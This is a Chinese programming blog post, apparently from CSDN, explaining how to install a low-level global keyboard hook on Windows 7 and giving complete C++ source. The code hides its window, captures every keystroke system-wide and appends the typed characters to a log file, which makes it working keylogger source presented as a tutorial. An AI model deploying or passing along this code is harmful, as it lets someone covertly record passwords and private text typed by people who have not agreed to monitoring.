win7下全局低层键盘钩子实现

本文介绍了一种改进的全局键盘钩子——低层键盘钩子。该钩子利用SetWindowsHookEx接口安装,并能在Win7系统下良好运行,尤其适用于64位进程。文章详细解释了其实现原理及步骤,并提供了完整的C++代码示例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

上一篇博客中介绍了一般全局键盘钩子,但是有几个缺点,一是代码不够简洁,需要两部分实现,二是效果不佳,对于64位进程无能为力。这篇博客介绍的低层键盘钩子,克服了以上缺点,在win7系统下做过测试,效果非常不错。

实现的原理是通过SetWindowsHookEx接口安装低层键盘钩子,低层键盘钩子由于是最底层的,系统的按键消息会优先发到安装低层键盘钩子线程的消息队列中,让它获得优先处理消息的能力,通过GetMessage接口在消息队列中取得消息,再通过TranslateMessage对消息进行虚拟键消息向字符消息的转换,再通过DispatchMessage将消息传递给消息处理函数进行处理。在消息处理函数中可以对消息进行各种处理包括记录、屏蔽等。

以下是低层键盘钩子代码:

//main.cpp
#include<windows.h>
#include<process.h>
#include<stdio.h>

#define WH_KEYBOARD_LL 13
#pragma comment(lib,"user32.lib")
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )//隐藏窗口

typedef struct {
  DWORD     vkCode;
  DWORD     scanCode;
  DWORD     flags;
  DWORD     time;
  ULONG_PTR dwExtraInfo;
} KBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;

HHOOK MyHook;                  //接收由SetWindowsHookEx返回的旧的钩子
int CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam);
int log(char vkcode);
//主函数
int main()
{
    //安装钩子
    MyHook = SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)&KeyboardProc,GetModuleHandle(NULL),NULL);
    /*while(true){
    Sleep(10000);	
    }*/
    MSG msg;
    while (GetMessage (&msg, NULL, 0, 0)!=-1)                   //消息循环
    {
        TranslateMessage (&msg);
        DispatchMessage (&msg);
    };

    UnhookWindowsHookEx (MyHook);
    return 0;
}
 
//回调函数,用于处理截获的按键消息
int CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
	
	if (code >= HC_ACTION && wParam==WM_KEYDOWN) //有键按下
  {
		DWORD vk_code = ((KBDLLHOOKSTRUCT*)lParam)->vkCode;
		printf("lParam = %d code = %d HC_ACTION = %d WM_KEYDOWN=%d wParam = %d vk_code = %d\n",lParam,code,HC_ACTION,WM_KEYDOWN,wParam,vk_code);
    BYTE ks[256];
    GetKeyboardState(ks);
    WORD w;
    ToAscii(vk_code,0,ks,&w,0);
    char ch =char(w); 
    log(ch);
    //printf("%d ",vk_code);         //输出按键信息,注意这里按下和弹起都会输出
  }
  return CallNextHookEx(MyHook,code,wParam,lParam);  //将消息还给钩子链,不要影响别人
}

//记录到文件
int log(char vkcode){
FILE *fl;
fl=fopen("log.txt","a+");
if(vkcode==13)
	fwrite("\r\n",1,2,fl);//注意此处 count=2  
else
	fwrite(&vkcode, sizeof(char), 1, fl);//把按键字符 记录到文件
//printf("write ok\n");
fclose(fl);
return 0;
}


评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值